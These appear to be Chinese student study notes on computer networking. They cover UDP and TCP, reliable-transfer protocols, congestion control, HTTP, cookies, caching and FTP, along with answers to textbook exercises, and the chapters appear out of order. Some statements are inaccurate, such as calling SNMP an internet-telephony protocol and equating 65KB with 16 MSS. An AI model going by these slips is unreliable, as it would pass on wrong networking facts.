Chapter 3 传输层

3.1 概述和运输层服务

运输层的功能：为不同主机上运行的应用进程之间提供逻辑通信
工作内容：

• 发送方：将应用数据划分为报文段，交给网络层
• 接收方：将报文段重组成应用数据，交付给应用层

运输层和网络层的区别：

• 网络层：是不同主机之间的逻辑通信，网络层只负责将一个主机上的报文成功发送到另外一个主机，至于应该由主机上的哪一个进程接收，是运输层需要考虑的事情。
• 运输层：是不同应用进程之间的逻辑通信。
• 不同的运输层协议可能提供不一样的服务
• 运输层协议能够提供的服务收受到底层网络协议的服务模型的限制
• 在网络层不提供某些服务的情况下，需要由运输层自己提供

端口：让应用层的各种应用进程都能将其数据通过端口向下交付给运输层，以及让运输层知道应当将其报文段中的数据向上通过端口交付给应用层相应的进程（或线程）。从这个意义上讲，端口是用来标志应用层的进程（或线程）。端口使用16bit端口号标识。

3.2 多路复用和多路分解

套接字：TCP连接的端点。TCP使用连接而不仅仅是端口作为最基本的抽象。套接字将IP地址和端口号整合在一起。

报文段的发送：

• 主机接收到IP包
  • 每一个数据包都有源IP地址和目的IP地址
  • 每一个数据包都携带一个传输层的数据报文段
  • 每一个数据报文段都有源、目的端口号
• 主机根据“IP地址+端口号”将报文段定向到对应的套接字。

无连接的运输层协议

创建的套接字具有主机本地端口，创建数据报发送到UDP套接字时，必须指定目的地IP地址和目的端口。UDP数据报仅有本地的端口号和远程端口号，并不包含本地和远程的IP地址。
当主机接收到UDP数据报，需要检查报文段的目的地端口，然后将UDP报文段发送给该端口号的套接字。
注意IP数据报与UDP数据报具有相同的目的端口，但不同的源IP和/或源端口号将被发送到目的地址相同的套接字。对于UDP，发给同一个进程的数据，无论是从哪来，都只用一个套接字来接收。也即在一台主机上发送UDP报文可以修改IP报文的IP地址，让目的主机误以为有多个IP的多个主机向它发送报文，但TCP不行。

有连接的运输层协议

TCP套接字由一个四元组标识（一个连接一组套接字），其中包含源和目的IP地址、源和目的端口号。
接收方主机根据这4个值将报文段定向到相应的套接字。服务器主机同时支持多个并发的TCP套接字，Web服务器为每一个客户连接都产生不同的套接字（非持久HTTP对每一个请求都会建立一个不同的套接字，会影响性能）。

3.3 无连接传输：UDP

UDP处理数据的流程（UDP无连接）：

• 发送方
  • 从应用进程获得数据
  • 附加上为多路复用/多路分解所需的源和目的端口号以及差错检查信息，形成报文段。
  • 递交给网络层，尽力而为地交付给接收主机
• 接收方
  • 从网络层接收报文段
  • 根据目的端口号，将数据交付给相应的应用进程

UDP的优势：

• 无需建立连接，可以减少时延
• 简单，发送方和接收方无需维护连接状态
• 段首部开销较小，UDP段首只有8字节而TCP有20字节
• 无拥塞控制，UDP可以随时按照需要发送

部分采用UDP协议的应用：

• 远程文件服务器
• 流式多媒体
• 网络电话（SNMP）
• 选录协议（RIP）
• 域名解析（DNS）

UDP滥用的后果：

• 路由器中的大量分组溢出，使得丢包率显著增加，反过来影响到UDP本身的传输效率
• 显著减小TCP的传输速率，甚至挤垮TCP会话

UDP也可以实现可靠传输，但是需要应用层进行辅助控制，需要应用层特殊的错误恢复，增加了应用进程的实现难度。

3.3.1 UDP报文段结构

UDP的报文段结构很简单，从前往后依次为：源端口号、目的端口号、长度、校验和、数据。其中长度是包含首部的长度，除了数据之外首部的4个控制结构各占16比特。

3.3.2 UDP检验和

UDP校验和提供差错检测功能，检验和用于确定当UDP报文段从源向目的地移动时，其中的比特是否发生了改变。

发送方对UDP校验和的计算方式：将报文段看做16比特一组的多组构成的序列，对报文的所有16比特字的和进行反码计算，获得校验码。如果在求和的过程中出现进位，需要提取进位并加到结果上。在校验和尚未计算时，校验和字段填充为全0进行计算，在计算完成后再用结果替换这里的全0。

接收方的验证方式：按照同样的方式以16比特为单位计算，如果最终结果为全1则认为没有错误（不是一定没有错误），否则认为有错误。

3.4 可靠数据传输原理

可靠数据传输的问题不仅在运输层出现，也会在链路层以及应用层出现。可靠数据传输队上层实体提供的服务可以抽象为：数据可以通过一条可靠信道进行传输。借助于可靠信道，传输数据比特就不会收到损坏或丢失，且所有数据都是按照发送顺序交付。

3.4.1 构造可靠数据传输协议

经完全可靠信道的可靠数据传输：rdt 1.0

最简单的情况：底层信道完全可靠。在底层信道可靠的情况下，发送端和接收端不需要进行另外的操作。

经具有比特差错信道的可靠数据传输：rdt 2.0

在分组的传输、传播或缓存的过程中，比特差错通常会出现在网络的物理部件中。

需要引入肯定确认和否定确认两种控制报文使得接收方可以让发送方知道哪些内容被正确接收。基于这种重传机制的可靠数据传输协议被称为自动重传请求（ARQ）协议。

ARQ协议中还需要：

• 差错检测：需要一种机制使得接收方检测到何时出现了比特差错。
• 接收方反馈：让接收方提供反馈信息给发送方确认。
• 重传：当接收方接收到异常的分组时发送方重传该分组。

上图解释：

• 发送方：
  • 当上层调用时，高层调用rdt_send，低层首先计算校验值，然后发送。
  • 如果接收到NAK，则重传。实现重传需要一个缓冲区保存未获得反馈的报文，长度只需要达到一个报文的大小即可。
  • 如果接收到ACK，则待命。
• 接收方：
  • 当接收到数据时，低层提取数据后传递给上层，上层计算校验值没有问题，让下层发送ACK。如果发现问题，让下层发送NAK。

注意：当发送方处于等待ACK或NAK的状态时，它不能从上层获得更多数据。因此发送方将不会发送一块新的数据，除非发送方确信接收方已经接收到当前分组。这种协议称为停等协议。

缺陷：没有考虑到ACK或NAK受损的可能性。
处理方案：

• 发送方和接收方交替重传报文，这样会陷入死循环。
• 增加足够的检验和比特使得发送方不仅可以检测差错还可以修复差错。
• 当发送方收到含糊不清的ACK或NAK时，只重传当前数据分组即可，这样会产生冗余分组。为了将该分组与新的分组区分，需要为数据包引入编号。（下一个版本的方法）

第二个版本：rdt 2.1

• 如果发送方接收到重复的ACK，当做NAK重传。
• 为每一个数据包加上序号。
• 接收方收到重复序号的数据会丢弃。

这里实际上将2个状态转换为4个状态，只是将相邻发送的数据包赋予不同的编号0和1。这样可以区分相邻两个数据包。

再次改进：rdt 2.2

去掉了NAK报文，只需要使用ACK报文即可。如果接收方接收到了受损的分组，可以对上一次正确接收的分组发送一个ACK，发送方接收到对同一个分组的两个ACK后就知道接收方有没有正确接收到跟在被确认两次的分组后面的分组。与2.1的细微变化在于：接收方此时必须包括由一个ACK报文所确认的分组序号（0或1），发送方此时必须检查接收到的ACK报文中被确认的分组序号。

信道丢包时的解决方案：rdt 3.0

发生丢包后的处理方法：校验和技术、序号、ACK、重传。
只需进行等待，就可以知道是否丢包。

相比较2.2，发送方增加了计时器，当等待时间过长时，重新发送数据包。

发送方需要等待：发送方与接收方之间的一个往返时延加上接收方处理一个分组的时间。这需要发送方明智地选择一个时间值来判断是否发生了丢包。

这里要尤其注意后面两种丢包情况的处理。

3.4.2 流水线可靠数据传输协议

rdt 3.0性能分析

这是一个停等协议，如果一个数据包的传输时延为10ms，传播时延为100ms，那么一个数据包发送完成至少需要210ms（忽略ACK报文的传输时延，RTT=200ms），这会使得信道在大部分时间处于空闲状态，在这210ms中如果一直传输数据，可以传输21个数据包，但这里只传输了1个。网络协议限制了物理资源的利用率。

改进方法：不使用停等协议，使用流水线技术。

流水线技术允许发送方发送多个数据包而无需接收方确认，因此编号不能只是0和1。如果在发送过程中出现错误需要重传，因此发送方需要缓存。如果需要处理失序的数据包，则接收方也需要一定的缓存。注意流水线模式中对于链路利用率的计算，分母的L/R是不用乘以分组长度的！

流水线技术的工作原理：

• 分组首部使用k-比特字段表示序号
• 未被传输和已被传输但还没有确认的分组的许可序号范围可以看做是一个在序号范围内大小为N的“窗口”。

根据流水线技术丢失分组的重传策略，可以将其分为GBN协议和SR协议，GBN协议其后分组全部重传，SR协议仅重传该分组。

3.4.3 回退N步

特点：

• 接收方对序号n之前包括n在内的所有分组进行确认，标志着序号n以及n以前的分组已经全部接收完成。
• 允许发送方能且只能连续发送n个数据包，若窗口大小为n。同时，窗口中未被确认的分组数量不能超过n。
• 对所有已经发送但未确认的分组统一设置一个定时器，从一次流水的最“老”分组开始计时。超时时重传分组n和窗口中所有序号大于n的分组。
• 接收方收到重复的分组时，会丢弃该分组并重发ACK，因此GBN协议中的接收方不需要缓存。
• 分组失序时，将失序的分组丢弃，并重发按序到达的最高序号分组的ACK。
• GBN协议在发送端的滑动窗口大小为2^k-1，在接收端的大小为1。

3.4.4 选择重传

• 发送方
  • 从上层收到数据，如果下一个可用于该分组的序号在窗口内，则将数据打包并发送。
  • 为每一个分组定义计时器，超时时重传分组n并重置计时器。
  • 如果收到在窗口编号范围内的ACK，则标记分组为已经接收，如果这个分组是窗口中的第一个分组，则将窗口的基序号前推到下一个未确认序号。
• 接收方
  • 也定义一个窗口，用于接收。
  • 如果接收到的数据包分组在窗口内，则发送ACK，如果失序则将其缓存。将该分组以及以前缓存的需要连续的分组一起交付给上层，将窗口前推到下一个未收到的分组。虽然曾经确认过，仍然再一次发送ACK。
  • 否则忽略该分组。

接收方窗口必须小于或等于序号空间大小的一半，这样可以保证在窗口移动过程中，不会有相同序号的数据包在窗口内。因为如果ACK包丢失会导致接收方和发送方的窗口位置不同，全部ACK包丢失时，接收方的窗口在发送方窗口的前面，此时由于发送方没有接收到任何ACK，因此发送老编号的数据包，接收方需要保证此时其窗口中不含有对应该编号的数据包缓存。

当接收方窗口太大时，可能会导致发送方和接收方的发送和接收缺乏同步。窗口必须小于序号范围。

3.5 面向连接的传输：TCP

TCP是因特网运输层的面向连接的可靠的传输协议。
TCP连接仅存在于端系统，中间的路由器和交换机不知情。
TCP支持全双工服务。
TCP为点对点连接。
需要三次握手，具有最大报文段长度MSS。

3.5.1 TCP连接

TCP连接的建立过程：将发起连接的进程称为客户进程，另一个进程称为服务进程。客户首先发送一个特殊的TCP报文段，服务器使用另一个TCP报文相应，最后客户使用第三个特殊报文段响应。前两个报文不包含数据（有效载荷），第三个报文可以包含有效载荷。这被称为“三次握手”过程。

发送缓存：发起TCP三次握手期间设置的缓存之一。接下来TCP会不时从发送缓存中取出一块数据，并将数据传输到网络层。

最大报文段长度（MSS）：通常根据最初确定的由本地发送主机发送的最大链路层帧长度（MTU）来设置。二者的计算公式是：MTU=MSS+TCP头长度+IP头长度。头部长度通常为40字节，以太网和PPP链路层协议的MTU均为1500字节，因此MSS的典型值为1460字节。

TCP为每块客户数据配上一个TCP首部，从而形成多个TCP报文段。

3.5.2 TCP报文段结构

• 源端口和目的端口：各占2字节。
• 序号：占4字节，TCP数据流中的每一个字节都会编上序号，这里的值指的是本报文段第一个字节在整个报文字节流中的序号。
• 确认号：占4字节，值为期望收到对方的下一个报文段的数据的第一个字节的序号。
• 首部长度：4比特，以32bit为单位的首部长度，为空时默认为20字节。
• 保留字段：6比特，目前无用。
• 紧急比特URG：为1时紧急指针标识该报文中紧急数据内容的地址。
• 确认比特ACK：为1时确认号字段才有效。
• 推送比特PSH：接收 TCP 收到推送比特置 1 的报文段，就尽快地交付给接收应用进程，而不再等到整个缓存都填满了后再向上交付。
• 复位比特RST：当 RST = 1 时，表明 TCP 连接中出现严重差错（如由于主机崩溃或其他原因），必须释放连接，然后再重新建立运输连接。
• 同步比特SYN：同步比特 SYN 置为 1，就表示这是一个连接请求或连接接受报文。
• 终止比特FIN：用来释放一个连接。当FIN = 1 时，表明此报文段的发送端的数据已发送完毕，并要求释放运输连接。
• 窗口：2字节，控制对方发送的数据量，单位为字节。TCP连接的一端根据这个值设置自己的缓存窗口大小，然后通知对方以确定对方的发送窗口的上限。可用于流量控制。
• 校验和：2字节，校验包括首部和数据的所有内容，计算时需要在报文的最前面加上12字节的伪首部。
• 紧急指针字段：2字节，紧急指针指出在本报文段中的紧急数据的最后一个字节的序号。
• 选项字段：长度可变，TCP只规定一个选项：MSS。其为数据段的最大长度。
• 填充字段：填充使得长度为32比特的整数倍。

3.5.3 往返时间的估计和超时

样本RTT：对报文段被发出到收到该报文段的确认之间的时间进行测量。样本RTT会有波动，要使得估算RTT更平滑，需要将最近几次的测量进行平均，而非仅仅采用最近一次的SampleRTT。

计算方式：估算RTT=(1-α)*估算RTT+α*样本RTT。这里α参考值为0.125。即测量的时间越久远，对估算RTT的影响越小。

估计估算RTT与样本RTT之间的偏差：偏差=(1-β)*偏差+β*|估算RTT-样本RTT|。β的参考值为0.25。第一次计算时偏差=0.5*样本RTT。

3.5.4 可靠数据传输

TCP的超时间隔设置为：估算RTT+4*偏差RTT。注意TCP只使用唯一的一个超时定时器。在超时时重传认为超时的定时器，并重启定时器。如果收到重复的ACK，则在更新sendbase之后，如果当前还有未确认的报文段，则也将定时器重置。当出现超时后，超时间隔值加倍。如果已经超时，再重传分组可能会加剧拥塞，这是一种形式受限的拥塞控制。

快速重传机制：超时周期往往很长，会影响到传输速度。可以通过添加重复的ACK检测丢失报文段。如果重复的ACK接收了超过3个，则认为需要重传。

3.5.5 流量控制

TCP流量控制的目标是当接收方处理速度较慢时，不至于让接收方缓存溢出。方法是接收方在反馈时将缓冲区剩余空间的大小填充在报文段首部的窗口字段中，通知发送方。

当接收方缓存满时，会通知发送方让其不再发送数据。而若接收方之后不发送任何数据给发送方，那么接收方缓存清空了发送方也无法知道。解决方法是发送方在知道接收方缓存为0之后持续发送数据长度为1的报文进行试探，如果缓存发生改变则接收方就不会发送rwnd=0的ACK。

3.5.6 TCP连接管理

TCP建立

• 客户端向服务端发送一个特殊的TCP报文段，其中不含应用层数据，但在报文段首部SYN比特置为1。这个报文被称为SYN报文段。之后客户端随机选择一个初始序号client_isn并将该需要放置于该起始的SYN报文段的序号字段中。该报文段会被封装在IP数据报中，并发送给服务端。
• 服务端接收到TCP SYN报文段，为该TCP连接分配TCP缓存和变量，并向该TCP客户发送允许连接的报文段，该报文段不包含任何应用层数据。该报文段的SYN置为1，确认号字段置为client_isn+1。最后服务器选择自己的初始序号server_isn并放置到序号字段。该报文段被称为SYNACK报文段。
• 收到SYNACK之后，客户为该连接分配缓存和变量。客户机向服务器发送另外一个报文段，对服务器的允许连接的报文段进行了确认，SYN置为0，负载可以有数据。

TCP释放

• 主机中的资源被释放，如果客户打算关闭连接，则客户TCP向服务器进程发送一个特殊的TCP报文段，FIN比特置为1。服务器接收到报文后向发送方回送一个确认报文段，然后服务器发送自己的终止报文段，其FIN比特置为1，最后由客户对服务器发来的报文进行确认。这即是四次挥手。

3.6 拥塞控制原理

当路由器缓存溢出时，会导致网络拥塞，造成丢包和时延增加。

3.6.1 拥塞原因与代价

情景1

两个发送方，两个接收方，一个具有无限大缓存的路由器，没有重传，忽略低层协议的影响，链路容量为R，两个发送方的发送速率相等。由于发送过程中路由器需要进行选路、缓存等操作，因此一个数据包从发送到接收并不是畅通无阻地行进在链路之中的。当链路越来越接近满负荷状态时，路由器的压力将会增加。虽然此时接收方依然可以以R的速度接收数据包，但是由于各种其他处理的时间积累，其排队的队列长度最终会积累到很大。

情景2

两个发送方和一台具有有限缓存的路由器。发送方对丢失的分组进行重传。
由于分组出现了重传现象，发送方的发送速率将大于接收方的接收速率。理想状态下，分组仅仅在丢失时才重传，这样可以让冗余的分组数量最少，但实际上有些分组可能会超时，此时进行重传就会增加冗余，占用链路资源。

此时拥塞的开销主要有：

• 发送方必须重传以补偿因为缓存溢出而丢失的分组
• 发送方在遇到大时延时所进行的不必要重传会引起路由器转发不必要的分组拷贝而占用其链路带宽。

情景3

四个发送方，每个主机都有相同的λ_i值，具有多跳路径，链路容量为R，会产生超时和重传。

当重传的数量过多时，既不能增加传输的速率，还占据了大量的链路资源，整个链路陷入崩溃。当分组被丢弃时，该分组曾用到的所有上游传输容量都被浪费了。

3.6.2 拥塞控制方法

• 网络辅助的拥塞控制：
  • 直接网络反馈：路由器以阻塞分组的形式通知发送方“网络拥塞”
  • 经由接收方的网络反馈：路由器标识从发送方流向接收方分组中的某个字段以指示拥塞的产生，由接收方通知发送方“网络拥塞”
• 端到端拥塞控制
  • 网络层不为拥塞控制提供任何帮助和支持
  • 端系统通过对网络行为的观测判断网络是否发生拥塞
  • 目前TCP采用此方法

3.7 TCP拥塞控制

TCP拥塞控制的方法：

• 每个发送方自动感知网络拥塞的程度
• 发送方根据感知的结果限制外发的流量
  • 如果前方路径上出现了拥塞，则降低发送速率
  • 如果前方路径上没有出现拥塞，则增加发送速率

TCP发送方限制外发流量速率的方法

通过拥塞窗口控制。
LastByteSent-LastByteAcked<=CongWin
发送速率=CongWin/RTT bps
感知拥塞的方法：

• 超时
• 收到了三个冗余ACK

TCP检测到拥塞时如何控制

TCP拥塞控制算法（Reno算法），加性增，乘性减。

出现丢包事件后将当前CongWin大小减半，可以大大减少注入到网络中的分组数量。
当没有丢包时间发生时，每个RTT之后将CongWin增加一个MSS，使得拥塞窗口缓慢增大，以防止网络过早出现拥塞。

慢启动

建立连接时，CongWin = 1MSS
当可用带宽远大于MSS/RTT时，初始阶段以指数的速度增加发送速率，直到发生一个丢包事件为止。

即初始速率很低但是速率的增长速度很快。

拥塞避免

收到3个重复ACK时将CongWin减为原来的一半，线性增大拥塞窗口。
超时事件发生时，门限值设置为当前CongWin的一半（门限值初始值为65KB，即16MSS）
将CongWin设置为1个MSS大小。
窗口以指数速度增大，增大到门限值之后再以线性速度增大。

总结：

• 当拥塞窗口CongWin小于门限值ssthresh时，发送方处于慢启动阶段，窗口以指数速度增大。
• 当拥塞窗口CongWin大于门限值时，发送方处于拥塞避免阶段，窗口线性增大。
• 当收到3个重复ACK时，门限值设置为拥塞窗口的1/2，而拥塞窗口CongWin设置为门限值。
• 当超时事件发生时，门限值设置为拥塞窗口的1/2，而拥塞窗口CongWin设为1个MSS。

TCP的吞吐量

平均而言，吞吐量是丢包率L的函数：

$$\frac{1.22\times MSS}{RTT\sqrt{L}}$$

3.7.1 公平性

目标：如果K个TCP连接共享同一个带宽为R的瓶颈链路，每个连接的平均传输速率为R/K。

课后习题和问题

2.1

1. web应用：使用HTTP协议
   文件传输应用：使用FTP协议
   邮件应用：SMTP协议
   P2P应用：BitTorrent协议
   远程登录：telnet协议
2. 网络体系结构指的是网络5层结构，应用程序体系结构由应用程序研发者设计，规定了如何在各种端系统上组织该应用程序，含P2P体系结构和CS结构。
3. 对于两个进程的通信会话，先发起对话的是客户，另外一个是服务器。
4. 不同意，通信会话的两方一定一方是客户，一方是服务器，只是P2P应用下一台主机在不同的通信会话中可能是不同的角色，而CS模型中的服务器一般是固定的某些主机。
5. IP地址+端口号可以唯一确定当前主机所在网络中的一个进程。
6. UDP，UDP虽然不可靠但速度比TCP快。
7. 实时社交软件
8. 可靠数据传输：TCP协议保证
   吞吐量要求：都不保证
   定时：都不保证
   安全性：都不保证
9. 应用层，UDP不能使用SSL。

2.2~2.4

10. 握手协议是指主要用来让客户端及服务器确认彼此的身份的一类网络协议。
11. 因为HTTP、SMTP和POP3都是要求数据完全正确没有错误的，而TCP可以保证数据正确，但UDP不行。
12. 当用户首次访问该网站时，该网站向用户发送一个独特的cookie，在用户下单时，cookie随着下单请求发送到用户，服务器由此确定发起这个请求的是哪一个用户，并记录这条购买记录。
13. Web缓存器会保存最近请求的对象，当未来再一次请求该对象时可以直接调出来，减少对象的请求，以减少接收被请求对象的时延。只是减少其中某些对象的时延，对于缓存中没有的对象，还是需要进行常规的请求，不会减少其时延。
14. 略
15. 略
16. 略
17. 略
18. 邮件不考
19. 邮件不考
20. 略

习题

1. a. 错误，请求一些文本和3幅图像组成的Web页面，其本质还是Web图像，形式为HTTP报文，因此接收的是1个响应报文。注意无论是采用非持续连接还是持续连接，一个请求报文一定对应一个响应报文，不请求是不会有响应的，唯一的区别就是连接的建立和断开。对于本题而言，如果使用持续连接，那么在连接断开之前客户端还会发送3个请求给服务器请求那3幅图像。
   b. 正确，因为两个地址的域名相同，因此服务器相同，可以通过一个连接发送数据。
   c. 错误，在非持续连接中，一个TCP连接只能发送一个请求和一个响应。
   d. 错误，Date指的是服务器产生并发送该响应报文的日期和时间。
   e. 错误，HTTP请求可以有空报文体。
2. 略
3. 还需要DNS（应用层）、UDP（运输层）、TCP（运输层）。注意DNS服务使用UDP报文段封装。
4. a. gaia.cs.umass.edu
   b. 1.1
   c. 持续连接
   d. 在报文段中没有找到
   e. Mozilla/5.0(Windows;U; Windows NT 5.1; en-US; rv:1.7.2)对于不同的浏览器，服务器可能会返回不同的内容。
5. a. 能，因为请求码为200 OK，提供回答的时间为Tue, 07 Mar 2008 12:39:45 GMT（注意下面还有一个Last-Modified字段表示上一次修改的日期，不一样）
   b. Sat 10 Dec 2005 18:27:46
   c. 3874（Content-Length字段）
   d. <!doc，同意持续连接。
6. 略
7. RTT₁到RTT_n的和加上2倍的RTT₀，因为客户端与服务器连接还需要1个RTT。
8. a. 在没有并行TCP连接的非持续HTTP中，8个对象需要建立8次连接，共16RTT。
   b. 对于配置有5个并行连接的HTTP，8个对象需要建立8次连接，注意需要首先建立连接请求主要的页面，才能够并行请求对象，因此额外的时间为4RTT。
   c. 对于持续HTTP，不需要建立另外的连接，额外的时间为8RTT。
9. a. 平均接入时延=$\frac{\Delta}{1-\Delta\beta}$，其中$\Delta$是跨越接入链路发送一个对象的平均时间，也即一个对象的传输时延=850Kb/15Mb/s=0.0567s，$\beta$是对象对该接入链路的平均到达率，即16请求/s，故平均接入时延=0.61s，平均互联网时延为3s，故总响应时间为3.61s。
   b. 缓存器的命中率为0.4，命中时只会有机构内网的传输时延，即0.0085s。平均响应时间为0.0085×0.4+3.61×0.6=1.8754s。
10. 10米的短链路可以忽略传播时延，150bps对于200比特长的控制分组的传输时延为1.33s，如果是非持续连接非并行连接，那么RTT=2.67s，一共需要11次连接和11次数据传输，一共需要传输33个控制分组和11个数据分组，总时间为7377s。如果是并行连接，使用N个并行连接，每个连接的带宽为150/Nbps，传输的数据相同，因此总时间依然为7377s。如果是持续连接，非并行连接，一共需要1次连接和11次数据传输，传输13个控制分组和11个数据分组，总时间为7351s。持续连接和非持续连接对时延的影响不大。
11. a. 是，并行连接可以让Bob获得更多的带宽。
    b. 是。

Chapter 2 应用层

2.1 应用层协议原理

网络应用可能有很多需求，如运行在不同端系统，通过网络进行交流等。网络应用不需要运行在网络核心设备上。

网络应用使用多种架构：客户端/服务器架构（C/S）、对等网（P2P）、混合体系结构。

客户机-服务器体系结构

服务器端总是打开，拥有一个相对固定的地址（一般固定），具有缩放的数据中心。
客户端与服务器通信，可能是间歇性连接，可能有动态的IP地址，客户端之间不能相互通信。

P2P体系结构

• 客户端不一定总是在线
• 结点之间可以相互通信
• 结点的地址以及他们之间的连接可能随时发生变化
• 任何一方既可以提供服务又可以享受服务
• 结点之间是间歇性连接，地址也是变化的
• 管理非常复杂

混合体系结构

混合体系结构将C/S模式与P2P模式结合起来，广泛应用于即时通信中，当双方在线需要传输文件时可以使用P2P模式，当有一方不在线时可以使用C/S模式首先将文件上传到服务器，然后另一方下载。

2.1.2 进程通信

进程：在端系统运行的程序，操作系统术语，一个程序可能产生多个进程。同一台主机上的不同多个进程之间采用内部进程通信方式（由操作系统决定），而不同主机之间的进程通信采用报文交换方式（应用层协议）。客户端和服务器的通信实际上是进程和进程之间的通信，客户端进程需要启动通信，服务器进程需要等待连接。

应用层协议定义了：交换的报文类型、各种报文类型的语法、字段的语义、进程何时如何发送报文以及对报文进行响应、开放的允许交互的协议、专有协议（如QQ自己定义的报文格式）

注意应用层协议≠网络应用。网络应用的本质是进程，而应用层协议只是进程和进程之间的通信方式。

套接字

每一个网络应用进程都有一个属于自己的套接字，该套接字在整个因特网上独一无二。其中包含有：

• 主机地址：表示该网络应用进程运行在因特网哪一个主机上，通常使用32位IP地址进行标识。
• 端口地址：在该主机表示该网络应用进程，通常使用16位的端口号进行标识。
• 套接字的长度为48位。

进程通过套接字来接收和发送报文，套接字相当于一个接口，依赖接口另一边的传输基础设施来投递数据到接收进程的套接字。主机IP地址和进程相关的端口号标识因特网上的进程，且为唯一标识。

2.1.3 可供应用程序使用的运输服务

不同的应用程序对网络有不同的需求，不同的需求对应的网络要求不同。

• 文件传输、email、Web网页要求数据必须完全不能出错，带宽可以有弹性要求，不要求实时性
• 实时音频和视频、交互式游戏允许数据的一定量丢失，但带宽有要求，且实时性要求很高
• 存储音频和视频允许数据的一定量丢失，实时性要求低于实时，但也有一定要求。
• 即时讯息要求数据不丢失，实时性可能有可能无。

TCP协议

• 面向连接，服务器和客户端需要建立连接
• 可靠传输，在发送和接收进程之间
• 流量控制，发送数据的速度绝不超过接收的速度
• 拥塞控制，当网络超负荷时，束紧发送端口，减缓发送速度
• 不提供：实时性和最小带宽承诺

UDP协议

• 在客户端和服务器进程之间实现不可靠的传输
• 不提供：连接建立、可靠性保证、流量控制、拥塞控制、实时性、最小带宽承诺

安全性

两个协议都不提供安全性，需要添加安全套接字SSL，其提供加密的TCP连接，并有数据的完整性检查和端点身份鉴别。SSL位于应用层和TCP之间。

2.2 Web和Http

Web（C/S模式）的构成：

• Web服务器：IIS、Apache、TomCat等
• 浏览器：IE、Maxthon、Firefox等
• 协议：信息表达的协议为HTML，信息传输的协议为HTTP

Web页面由一些对象组成，对象可以是HTML，JPEG图片、音频文件等
HTML文件是Web页面的基础，可以包括各种对象，是一个容器对象
任何一个对象都可以使用URL来定位。

客户端：浏览器请求、接收、展示Web对象。
服务器：Web服务器发送对象对请求进行响应。

2.2.1 HTTP协议概况

HTTP协议的特点：

• TCP传输服务：客户端启动TCP连接到服务器，端口80。
• 服务器接收来自客户端的TCP连接。
• HTTP报文在浏览器和Web服务器之间进行交换。
• 关闭TCP连接。
• HTTP连接无状态，服务器不保留任何访问过的请求信息。

2.2.1 持续性连接和非持续性连接

HTTP连接分为非持续性连接和持续性连接两种。非持续性连接通过TCP连接最多发送1个对象，下载多个对象时需要建立多个连接。持续性连接通过单个TCP连接可以发送多个对象。HTTP1.0的传输模式就是非持久性连接。当客户端接收到第一个HTTP对象发现其中还有引用的对象时，会再一次开启TCP连接逐一接收这些对象。

定义往返时间RTT：一个短分组从客户到服务器然后再返回到客户所花费的时间。

因此在非持续性连接中获取一个对象需要2RTTs，第一个建立连接，第二个请求资源。总时间=2RTTs+文件传输时间。在非持续性连接中只能通过多个浏览器同时打开多个并行的连接来改善性能。

在HTTP1.1时即使用了持久连接，服务器在发送相应后不再断开TCP连接，而是保持该连接，用于后续对象的传送，直至该连接“休息”了一个较长的时间之后方断开该连接。持久连接减少了服务器端连接数的需要，从而减少了对服务器端套接字资源的占用，提高了服务器的负载能力。持久连接分为非流水线模式和流水线模式。非流水线方式是一个对象传输完成之后方能传输下一个，流水线模式可以一次性发送所有请求，慢慢接收。

2.2.3 HTTP报文格式

HTTP请求报文包括：

• 请求行：标识该报文的请求方式，包含GET、POST、HEAD、PUT、DELETE共5种。其中绝大多数为GET和POST。
• 首部诸行，包含如主机、解析浏览器、编码、语言等信息（每行结束为\r\n表示换行）
• 单独一行回车、换行标识报文首部结束
• 对象内容，数据

HTTP请求行定义的方法

• GET请求用于向服务器请求指定URL的对象
• POST请求用于向服务器提交表单数据，也可以同时请求一个Web页面。注意可以不使用POST方法二使用GET方法发送表单数据以获得新的Web页面
• HEAD请求用于从服务器返回相应报文，但是该报文中并不包含请求的对象，常用于故障跟踪
• PUT请求将上传的文件放在实体主体字段中，目标路径由URL字段标明
• DELETE请求删除URL字段中指定的文件。

上面的前3种为HTTP1.0支持，下面2种为HTTP1.1新支持。上传数据除了可以使用PUT请求外也可以使用GET请求将需要上传的数据发送到URL中。

HTTP请求报文首部状态码

HTTP请求有一个状态码位于第一行，标识HTTP请求的状态。常见的请求码：

• 200：OK，请求成功，被请求的对象就在报文中
• 301：Moved Permanently，被请求的对象移动过，新的位置在报文中有说明（Location: 开头的行）
• 400：Bad Request，服务器不明白报文的意思（4开头都是客户端的问题）
• 505：HTTP Version Not Supported，服务器不支持报文使用的HTTP协议版本（5开头都是服务器的问题）

2.2.4 用户与服务器的交互：Cookie

Web站点使用Cookie的目的有：

• 限制用户的访问
• 将内容和用户身份进行关联

Cookie技术组成部分：

• 在HTTP响应报文之中有一个Cookie首部行
• 在HTTP请求报文中也有一个Cookie首部行
• 在用户端系统中保留一个Cookie文件，由用户浏览器负责管理
• 在Web站点有一个后端数据库

客户端将保存的某个网站的Cookie放在HTTP请求头中，发送到对应的网站，网站发现请求报文中含有Cookie便会进行查找，找到Cookie后网站将Cookie对应到特定的用户中，返回个性化的内容。

2.2.5 Web缓存

缓存的目的：

• 加速客户端访问Web界面的速度，减少时延
• 减少局域网与外部因特网交换的数据量，从而在达到同等服务质量的同时，可以使用较小的网络带宽，节约费用。

如果需要频繁从一个内网中访问外部某一个网站的数据，那么会对出口带宽造成很大的挑战。但如果在机构内部假设缓存服务器，那么这些对象的访问只需要在内网即可实现，不仅能够减少对外链路的压力，还能够降低时延。

2.2.6 条件GET方法

目的：更新Web缓存中的Web对象副本。
缓存服务器向网站发送条件GET请求用于确认内容是否被更新，如果没有更新，则服务器返回304报文编码，表示内容没有被更新。如果已经更新，则返回一个普通的带有对象的HTTP报文，其中头部有一行为Last-Modified。

2.2.7 FTP协议

FTP协议使用TCP协议传输数据，采用C/S模式，端口号为21/20
与HTTP的比较：

• 都使用TCP协议
• FTP的控制信息带外传送，而HTTP的控制信息带内传送。FTP有两个并行连接，控制连接21端口发送控制信息，数据连接20端口发送数据信息。

有些传输层协议具有带外(Out Of Band, OOB)数据的概念，用于迅速告知对方本端发生的重要事件。因此带外数据比普通数据(也称为带内数据)有更高的优先级，不论发送缓冲区中是否有排队等待发送的普通数据，带外数据总是被立即发送。带外数据的传输可以使用一条独立的传输层连接，也可以映射到传输层普通数据的连接中。但是在实际应用中，带外数据的使用少见，已知的仅有telnet、ftp等远程非活跃程序。
